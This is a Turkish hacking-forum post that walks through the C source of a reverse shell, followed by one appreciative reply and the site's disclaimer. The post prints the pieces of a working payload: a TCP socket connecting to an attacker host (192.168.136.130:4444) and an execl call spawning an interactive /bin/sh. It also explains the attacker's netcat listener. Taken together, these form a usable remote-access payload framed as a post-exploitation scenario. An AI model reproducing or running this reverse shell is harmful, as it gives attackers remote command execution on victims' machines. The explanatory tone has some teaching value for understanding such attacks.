C Reverse Shell Kaynak Kod Analizi

layef

Üye
28 Mar 2020
135
46
nowhere

Bu yazımızda C ile yazılmış Reverse Shell'in kaynak kodlarının analizini yapacağız..

Öncelikle;

Shell Nedir?

Türkçe karşılığı kabuk olan Shell, kullanıcıdan aldığı komutları yorumlayıp uygulayan bir katmadır yani kullanıcı ile kernel arasındaki iletişim yoludur.

Reverse Shell Nedir?

Kurban bilgisayarda çalıştığında saldırgan ile iletişimi ve komut çalıştırmasına olanak sağlayan yapıya Reverse Shell(ters kabuk) denir.

Senaryonun özeti;



Kurban makinede herhangi bir yöntem ile sızıldığını düşünelim, bu bir exploit yardımı ile olabilir.

C ile yazılmış Reverse Shell execute edildi.

Saldırgan ise ilgili portu netcat ile dinlemeye aldı..



Buradaki -lvp parametrelerinin açıklamasını yapacak olursak..

Kod:
-l 	//--dinleme modu,

-v 	//--bağlantı sırasında Standart Error'da olan mesajların ayrıntılı biçimde gösterilmesini sağlar,

-p	//--kaynak portun belirtildiği parametredir.

Kurban makinede Reverse Shell çalıştığı anda görüldüğü üzere bağlantı sağlanmış olur ve saldırgan kurban makinede bir Shell elde etmiş oldu..



Sıra geldi kurban makinede execute edilen Reverse Shell'in kaynak kodunu incelemeye..



Kod:
int mySocket;

mySocket = socket(AF_INET,SOCK_STREAM,0);

Görüldüğü üzere bir soket yapısı oluşturulmuş, bu yapı IPv4 protokolünü kullanarak TCP üzerinden veri alışverişi gerçekleştirmektedir.

Kod:
struct sockaddr_in blue;

blue.sin_family = AF_INET;
blue.sin_addr.s_addr = inet_addr("192.168.136.130");
blue.sin_port = htons(4444);

Burada blue adında bir struct oluşturulmuş. Veri alışverişinin özellikleri belirtilmiş. Saldırgan kendi adresini ve veri alışverişinin yapılacağı portu belirtmiş. Yani yukarıda netcat ile dinleme yapan saldırganın adresi inet_addr("192.168.136.130");
port ise htons(4444); bilindiği üzere dinlemeye aldığı TCP 4444 numaralı porttu.

Kod:
connect(mySocket,(struct sockaddr *)&blue,sizeof(blue));

Saldırgan kendisine connect() fonksiyonu ile bağlantı isteği gönderiyor. Burada 1. parametrede oluşturulan soket değişkeninin ismi, 2. parametre olarak saldırganın bilgilerinin tutulduğu veri yapısı son parametre ise bilgilerin boyutunun tutulduğu kısımdır.

Kod:
execl("/bin/sh","sh","-i",NULL,NULL);

execl() fonksiyonu ise saldırganın uzaktan komut çalıştırma imkanı tanıyacaktır.

execl() ilk parametre olarak çalıştırılabilir dosyanın yol bilgisini alır. Bu da "/bin/sh" dir. /bin/sh , Bash benzeri bir komut yorumlayıcısıdır. POSIX kabuğu olarak da geçer.

İlk 3 parametreyi şöyle düşünebilirsiniz;



execl() fonksiyonu içerisinde de aslında bu işlemin aynısı yapılır ve bir komut yorumlayıcısı açılır.

Selam ve Sevgilerle layef...



 
Son düzenleme:

'PedroDavis

Kıdemli Üye
24 Haz 2015
2,336
190
112
Ben bunu niye bu kadar geç gördüm..
Konunun güzelliğine ek, saldırgan ve Kurban fotoğrafları harika.
Elinize sağlık.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.